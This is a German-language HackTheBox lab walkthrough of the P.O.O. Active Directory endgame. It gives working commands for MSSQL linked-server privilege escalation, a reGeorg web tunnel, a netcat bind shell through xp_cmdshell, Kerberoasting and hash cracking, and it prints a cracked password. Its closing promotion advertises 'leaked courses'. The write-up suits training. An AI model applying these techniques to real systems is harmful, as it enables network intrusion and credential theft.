HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

In diesem Artikel werden wir nicht nur ein einzelnes System, sondern ein ganzes Mini-Labor von der Plattform analysieren. HackTheBox.

Wie in der Beschreibung erwähnt, dient P.O.O. dazu, Fähigkeiten in allen Phasen von Angriffen in einer kleinen Active Directory-Umgebung zu überprüfen. Das Ziel ist es, den verfügbaren Host zu kompromittieren, die Privilegien zu erhöhen und letztendlich die gesamte Domain zu kompromittieren, während 5 Flags gesammelt werden.

Der Zugang zum Labor erfolgt über VPN. Es wird empfohlen, sich nicht von Ihrem Arbeitscomputer oder einem Host mit wichtigen Daten zu verbinden, da Sie in ein privates Netzwerk eintreten, in dem Menschen sind, die in der Informationssicherheit etwas draufhaben 🙂

Organisationsinformationen
Um Sie über neue Artikel, Software und weitere Informationen auf dem Laufenden zu halten, habe ich Telegram-Kanal und eine Gruppe zur Diskussion jeglicher Fragen im Bereich IuKBS gegründet. Auch Ihre persönlichen Anfragen, Fragen, Vorschläge und Empfehlungen werde ich persönlich prüfen und an alle antworten..

Alle Informationen werden ausschließlich zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die einer Person durch die Nutzung des Wissens und der Methoden, die aus dem Studium dieses Dokuments gewonnen wurden, entstehen.

Einleitung

Dieses Endgame besteht aus zwei Maschinen und beinhaltet 5 Flags.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Außerdem wird eine Beschreibung und die Adresse des verfügbaren Hosts bereitgestellt.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Lass uns anfangen!

Recon-Flag

Dieser Host hat die IP-Adresse 10.13.38.11, die ich in \/etc\/hosts hinzufüge.
10.13.38.11 poo.htb

Zuerst scannen wir die offenen Ports. Da es lange dauert, alle Ports mit nmap zu scannen, werde ich dies zunächst mit masscan machen. Wir scannen alle TCP- und UDP-Ports über die Schnittstelle tun0 mit einer Geschwindigkeit von 500 Paketen pro Sekunde.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Um detailliertere Informationen zu den Diensten zu erhalten, die an den Ports laufen, starten wir einen Scan mit der Option -A.

nmap -A poo.htb -p80,1433

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Somit haben wir IIS- und MSSQL-Dienste. Dabei erfahren wir den tatsächlichen DNS-Namen der Domain und des Computers. Auf dem Webserver begrüßt uns die Startseite von IIS.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Lassen Sie uns die Verzeichnisse durchgehen. Ich benutze dafür gobuster. In den Optionen geben wir die Anzahl der Threads 128 (-t), die URL (-u), das Wörterbuch (-w) und die für uns interessanten Erweiterungen (-x) an.

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

So haben wir eine HTTP-Authentifizierung für das Verzeichnis /admin sowie eine verfügbare Datei des Desktop-Service .DS_Store. .DS_Store sind Dateien, in denen Benutzereinstellungen für den Ordner gespeichert werden, wie z. B. die Liste der Dateien, die Position der Symbole und das ausgewählte Hintergrundbild. Solche Dateien können von Webentwicklern im Verzeichnis des Webservers hinterlegt werden. Damit erhalten wir Informationen über den Inhalt des Katalogs. Dafür kann man DS_Store Crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Wir laden den Inhalt des Verzeichnisses. Das Interessanteste hier ist das Verzeichnis /dev, aus dem wir in zwei Ästen die Quellcodes und DB-Dateien einsehen können. Wir können jedoch die ersten 6 Zeichen der Dateinamen und Verzeichnisse sehen, wenn der Dienst anfällig für IIS ShortName ist. Diese Sicherheitsanfälligkeit lässt sich überprüfen mit IIS Shortname Scanner.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Und wir finden eine Textdatei, die mit „poo_co“ beginnt. Ohne zu wissen, was ich als Nächstes tun soll, habe ich einfach alle Wörter aus dem Verzeichnis gewählt, die mit „co“ beginnen.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Und wir gehen es mit wfuzz durch.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Und wir finden ein passendes Wort! Wir sehen uns diese Datei an und speichern die Anmeldedaten (laut dem Parameter DBNAME stammen sie von MSSQL).

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Wir geben das Flag ab und haben 20% Fortschritt gemacht.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Huh flag

Wir verbinden uns mit MSSQL, ich verwende DBeaver.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

In dieser Datenbank finden wir nichts Interessantes, also erstellen wir einen SQL-Editor und prüfen, welche Benutzer vorhanden sind.

SELECT name FROM master..syslogins;

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Wir haben zwei Benutzer. Lassen Sie uns unsere Berechtigungen überprüfen.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Es gibt also keine Privilegien. Lassen Sie uns die verbundenen Server betrachten; ich habe diese Methodik bereits ausführlich beschrieben. hier.

SELECT * FROM master..sysservers;

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

So finden wir einen weiteren SQL Server. Lassen Sie uns die Ausführung von Befehlen auf diesem Server mit openquery() überprüfen.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Und wir können sogar Abfragebäume erstellen.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Der Punkt ist, dass, wenn wir eine Abfrage auf einem verbundenen Server ausführen, die Abfrage im Kontext eines anderen Benutzers ausgeführt wird! Lassen Sie uns sehen, in welchem Kontext wir auf dem verbundenen Server arbeiten.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Schauen wir uns jetzt an, in welchem Kontext die Abfragen vom verbundenen Server auf unseren ausgeführt werden!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Dies ist also der DBO-Kontext, der über alle Berechtigungen verfügen sollte. Lassen Sie uns die Berechtigungen im Falle einer Anfrage vom verbundenen Server überprüfen.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Wie Sie sehen können, haben wir alle Berechtigungen! Lassen Sie uns so unseren Admin erstellen. Aber über openquery gelingt dies nicht, machen wir es mit EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Und jetzt verbinden wir uns mit den Anmeldedaten des neuen Benutzers und sehen die neue Datenbank flag.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Setzen wir dieses Flag und machen wir weiter.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

BackTrack-Flag

Wir erhalten eine Shell mithilfe von MSSQL. Ich benutze mssqlclient aus dem Impacket-Paket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Wir müssen die Passwörter beschaffen, und das erste, was wir bereits gefunden haben, ist die Website. Daher benötigen wir die Konfiguration des Webservers (ein einfaches Shell zu werfen, scheint nicht zu funktionieren, wahrscheinlich ist die Firewall aktiv).

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Aber der Zugriff ist verweigert. Obwohl wir die Datei aus MSSQL lesen können, müssen wir nur wissen, welche Programmiersprachen konfiguriert sind. Und im MSSQL-Verzeichnis erfahren wir, dass Python vorhanden ist.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Dann gibt es keine Probleme, die Datei web.config zu lesen.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Mit den gefundenen Anmeldedaten gehen wir zu /admin und holen uns das Flag.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Foothold-Flag

Tatsächlich gibt es einige Unannehmlichkeiten beim Einsatz einer Firewall, aber beim Überprüfen der Netzwerkeinstellungen bemerken wir, dass auch IPv6 verwendet wird!

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Fügen wir diese Adresse zu /etc/hosts hinzu.
dead:babe::1001 poo6.htb
Lass uns den Host erneut scannen, diesmal über das IPv6-Protokoll.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Und über IPv6 ist der WinRM-Dienst verfügbar. Lassen Sie uns mit den gefundenen Anmeldedaten verbinden.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Auf dem Desktop befindet sich ein Flag, wir geben es ab.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

P00ned-Flag

Nachdem wir Recon auf dem Host durchgeführt haben, winpeas finden wir nichts Besonderes. Daher wurde beschlossen, erneut nach Anmeldedaten zu suchen (darüber habe ich auch geschrieben den Artikel). Aber es gelang mir nicht, alle SPN aus dem System über WinRM abzurufen.

setspn.exe -T intranet.poo -Q */*

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Lassen Sie uns den Befehl über MSSQL ausführen.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Mit der angegebenen Methode erhalten wir die SPNs der Benutzer p00_hr und p00_adm, was bedeutet, dass sie anfällig für Angriffe wie Kerberoasting sind. Kurz gesagt, wir können ihre Passwort-Hashes abrufen.

Zunächst müssen wir eine stabile Shell im Namen des MSSQL-Benutzers erhalten. Da unser Zugang jedoch eingeschränkt ist, haben wir nur Verbindung zum Host über die Ports 80 und 1433. Aber es gibt die Möglichkeit, den Traffic über den Port 80 zu tunneln! Dafür verwenden wir die folgende Anwendung. Wir laden die Datei tunnel.aspx in das Home-Verzeichnis des Webservers — C:inetpubwwwroot.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Aber beim Versuch, darauf zuzugreifen, erhalten wir einen Fehler 404. Das bedeutet, dass *.aspx-Dateien nicht ausgeführt werden. Um Dateien mit dieser Erweiterung ausführen zu können, installieren wir ASP.NET 4.5 wie folgt.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Und jetzt erhalten wir beim Zugriff auf tunnel.aspx die Antwort, dass alles bereit ist.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Lassen Sie uns den Client-Teil der Anwendung starten, der sich mit dem Weiterleiten des Traffics befasst. Wir werden gesamten Traffic vom Port 5432 auf den Server umleiten.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Und wir verwenden proxychains, um den Datenverkehr jeder Anwendung über unseren Proxy zu leiten. Wir fügen diesen Proxy in die Konfigurationsdatei /etc/proxychains.conf hinzu.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Jetzt laden wir das Programm auf den Server hoch, netcatmit dem wir eine stabile bind Shell erstellen und das Skript Invoke-Kerberoast, mit dem wir den Kerberoasting-Angriff durchführen.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Jetzt starten wir den Listener über MSSQL.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

und verbinden uns über unseren Proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Lass uns die Hashes erhalten.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Im nächsten Schritt müssen wir diese Hashes durchgehen. Da im rockyou-Wörterbuch keine dieser Passwörter enthalten war, habe ich ALLE Passwortwörterbücher verwendet, die in Seclists bereitgestellt wurden. Für das Durchtesten verwenden wir hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Und finden beide Passwörter, das erste im Wörterbuch dutch_passwordlist.txt und das zweite in Keyboard-Combinations.txt.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

So haben wir drei Benutzer, nun gehen wir zum Domänencontroller. Zuerst erfahren wir seine Adresse.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Großartig, wir haben die IP-Adresse des Domänencontrollers ermittelt. Lassen Sie uns alle Benutzer der Domäne herausfinden und sehen, wer von ihnen Administrator ist. Dafür laden wir das Skript PowerView.ps1 herunter. Anschließend melden wir uns mit evil-winrm an und geben dabei im Parameter -s das Verzeichnis des Skripts an. Danach laden wir einfach das PowerView-Skript hoch.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Jetzt stehen uns alle Funktionen zur Verfügung. Der Benutzer p00_adm scheint privilegiert zu sein, also arbeiten wir im Kontext dieses Benutzers. Wir erstellen ein PSCredential-Objekt für diesen Benutzer.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Jetzt werden alle PowerShell-Befehle, bei denen wir Creds angeben, im Namen von p00_adm ausgeführt. Lassen Sie uns die Liste der Benutzer und das Attribut AdminCount anzeigen.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Und so ist unser Benutzer tatsächlich privilegiert. Lassen Sie uns sehen, in welchen Gruppen er Mitglied ist.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Wir bestätigen endgültig, dass der Benutzer der Administrator der Domain ist. Dies gibt ihm das Recht auf Remote-Zugriff auf den Domaincontroller. Lassen Sie uns versuchen, über WinRM auf unserem Tunnel zuzugreifen. Ich war über die Fehler, die reGeorg beim Einsatz von evil-winrm ausgibt, verwirrt.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Dann verwenden wir ein anderes, einfacheres Skript für die Verbindung zu WinRM. Lassen Sie uns die Verbindungseinstellungen öffnen und ändern.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Wir versuchen, uns zu verbinden, und wir sind im System.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Aber es gibt keine Flagge. Schauen wir uns also die Benutzer an und überprüfen die Arbeitsplätze.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Bei mr3ks finden wir die Flagge und das Labor ist zu 100 % bestanden.

HackTheBox Endgame. Durchführung des Labors Professional Offensive Operations. Penetrationstest Active Directory

Das ist alles. Als Feedback, kommentieren Sie bitte - haben Sie etwas Neues aus diesem Artikel gelernt und war er für Sie nützlich.

Sie können sich uns anschließen Telegram. Dort finden Sie interessante Materialien, geleakte Kurse sowie Software. Lassen Sie uns eine Gemeinschaft aufbauen, in der Menschen aus verschiedenen IT-Bereichen sich zusammenschließen, damit wir uns bei allen Fragen zur IT und IT-Sicherheit gegenseitig helfen können.

Quelle: habr.com

Zuverlässiges Webhosting mit DDoS-Schutz, VPS- und VDS-Server kaufen 🔥 Zuverlässiges Webhosting mit DDoS-Schutz, VPS- und VDS-Server kaufen | ProHoster